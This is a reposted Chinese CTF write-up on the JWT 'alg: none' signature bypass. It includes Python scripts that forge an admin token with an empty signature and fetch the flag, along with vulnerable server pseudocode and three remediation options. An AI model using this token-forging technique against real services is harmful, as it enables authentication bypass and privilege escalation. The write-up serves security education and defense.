AI渗透测试—JWT签名算法置空攻击:一个”none”绕过所有验证

admin 2026-06-18 06:35:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了JWT签名算法置空攻击漏洞,通过CTF靶场复现展示了攻击者将alg字段篡改为none后服务端跳过签名验证的过程。关键发现包括:攻击者可伪造admin权限token获取FLAG,漏洞根因在于服务端盲目信任客户端传入的alg字段。提供了三种修复方案:硬编码算法白名单、使用非对称算法、升级JWT库版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,CTF,安全开发


cover_image

AI渗透测试 — JWT签名算法置空攻击:一个”none”绕过所有验证

原创

yushao yushao

网络安全者

2026年6月17日 09:02 河南

在小说阅读器读本章

去阅读

#

一、测试概述

| 项目 | 内容 | | — | — | | 测试类型 | CTF 靶场漏洞复现 | | 漏洞类型 | JWT Algorithm Confusion (alg: none) | | 危害等级 | 高危 | | 测试时间 | 2025年 | | 目标环境 | CTF Show 靶场(已授权) |


二、漏洞背景

JWT(JSON Web Token)由三部分组成:

Header.Payload.Signature

其中 Header 中的 alg 字段告诉服务端用什么算法验证签名。RFC 7518 中定义了一个特殊值 none,表示”无签名算法”。

漏洞成因: 部分 JWT 库在实现时直接信任客户端传来的 alg 字段,当攻击者将其篡改为 none 后,服务端跳过签名验证,导致任意用户可伪造合法 token。


三、信息收集

访问靶场首页,页面提示:

“将 alg 字段修改为 none 来绕过签名验证”

这直接揭示了攻击面。正常登录入口为 /login,GET 请求返回 405,确认为 POST 接口。


四、漏洞复现步骤

Step 1:获取普通用户 JWT

使用普通凭据登录,从 Cookie 中提取 token:

import requests

session = requests.Session()
resp = session.post(
    "https://[REDACTED].challenge.ctf.show/login",
    data={"username": "user", "password": "user"},
    allow_redirects=True
)

token = session.cookies.get("token")
print(f"[+] 获取到 Token: {token}")

输出:

[+] 获取到 Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]

Step 2:解码 JWT 结构

import base64
import json

def b64_decode_padding(s):
    """Base64 URL 解码,自动补 padding"""
    s += "=" * ((4 - len(s) % 4) % 4)
    return base64.b64decode(s)

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]"
parts = token.split(".")

header  = json.loads(b64_decode_padding(parts[0]))
payload = json.loads(b64_decode_padding(parts[1]))

print(f"[*] Header:  {json.dumps(header,  ensure_ascii=False)}")
print(f"[*] Payload: {json.dumps(payload, ensure_ascii=False)}")

输出:

[*] Header:  {"alg": "HS256", "typ": "JWT"}
[*] Payload: {"user": "user", "admin": false}

关键发现:admin 字段为 false,服务端以此判断权限。


Step 3:构造 alg:none 伪造 Token

import base64
import json

def b64_encode_nopad(data: bytes) -> str:
    """Base64 URL 编码,去除 padding"""
    return base64.b64encode(data).decode().rstrip("=")

# 篡改点1:alg 置为 none
forged_header  = {"alg": "none", "typ": "JWT"}
# 篡改点2:admin 提权为 true
forged_payload = {"user": "user", "admin": True}

header_b64  = b64_encode_nopad(json.dumps(forged_header,  separators=(",", ":")).encode())
payload_b64 = b64_encode_nopad(json.dumps(forged_payload, separators=(",", ":")).encode())

# 签名部分留空,服务端不再校验
forged_token = f"{header_b64}.{payload_b64}."

print(f"[+] 伪造 Token: {forged_token}")

输出:

[+] 伪造 Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.

Token 结构分析:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0   ← {"alg":"none","typ":"JWT"}
.
eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ  ← {"user":"user","admin":true}
.
                                          ← 签名为空

Step 4:携带伪造 Token 访问受保护资源

import requests

forged_token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ."

session = requests.Session()
session.cookies.set("token", forged_token)

resp = session.get("https://[REDACTED].challenge.ctf.show/")
print(resp.text)

响应片段(敏感信息已脱敏):

<title>恭喜获得 FLAG</title>
...
<div&nbsp;class="alert alert-success">
&nbsp; Flag: CTF{jwt_n**e_a**_byp**s_su**ess}
</div>

Flag 成功获取。


五、攻击流程图

用户登录 (user/user)
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
获取正常 JWT (alg=HS256, admin=false)
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
解码 Header + Payload
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
篡改: alg="none", admin=true
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
重新编码,签名置空
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
携带伪造 Token 请求 /
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
服务端: alg=none → 跳过签名验证
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
权限校验: admin=true → 返回 FLAG ✓

六、漏洞根因分析

存在漏洞的服务端伪代码:

# ❌ 危险实现:信任 token 自带的算法字段
def&nbsp;verify_token(token):
&nbsp; &nbsp; header = decode_header(token)
&nbsp; &nbsp; alg = header.get("alg") &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 攻击者可控!

&nbsp; &nbsp;&nbsp;if&nbsp;alg ==&nbsp;"none":
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;decode_payload(token) &nbsp;# 直接跳过验证
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jwt.decode(token, SECRET_KEY, algorithms=[alg])

七、修复建议

方案一:硬编码允许的算法列表(推荐)

# ✅ 安全实现:服务端强制指定算法,不信任客户端
import&nbsp;jwt

def&nbsp;verify_token(token):
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; payload = jwt.decode(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SECRET_KEY,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; algorithms=["HS256"] &nbsp;# 白名单,明确排除 none
&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;payload
&nbsp; &nbsp;&nbsp;except&nbsp;jwt.InvalidTokenError:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None

方案二:使用非对称算法(RS256/ES256)

# 私钥签发(服务端保管)
token = jwt.encode(payload, PRIVATE_KEY, algorithm="RS256")

# 公钥验证(可公开),攻击者无法伪造签名
jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])

方案三:升级 JWT 库版本

主流库(如 PyJWT >= 2.0)已默认拒绝 alg: none,确保依赖为最新版:

pip install&nbsp;"PyJWT>=2.0.0"

八、总结

| 步骤 | 操作 | | — | — | | 1 | 用普通账号登录,获取含 admin:false 的 JWT | | 2 | Base64 解码,分析 token 结构 | | 3 | 将 alg 改为 noneadmin 改为 true | | 4 | 签名段置空,重新拼接 token | | 5 | 服务端跳过验证,以管理员身份响应 |

核心教训: JWT 的 alg 字段是用户可控的输入,永远不能被服务端盲目信任。签名算法应由服务端在验证时硬编码指定,而非从 token 本身读取。


本报告仅用于 CTF 学习与安全研究,所有测试均在授权靶场环境中进行。

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全者 yushao yushao《AI渗透测试 — JWT签名算法置空攻击:一个”none”绕过所有验证》

深情 网络安全文章

深情

文章总结: 该文档内容显示为小说阅读器界面片段,包含用户问候语阿乐你好、时间戳2026年6月17日09:02、地点河南及阅读引导按钮,但未提供具体技术内容或实质
评论:0   参与:  0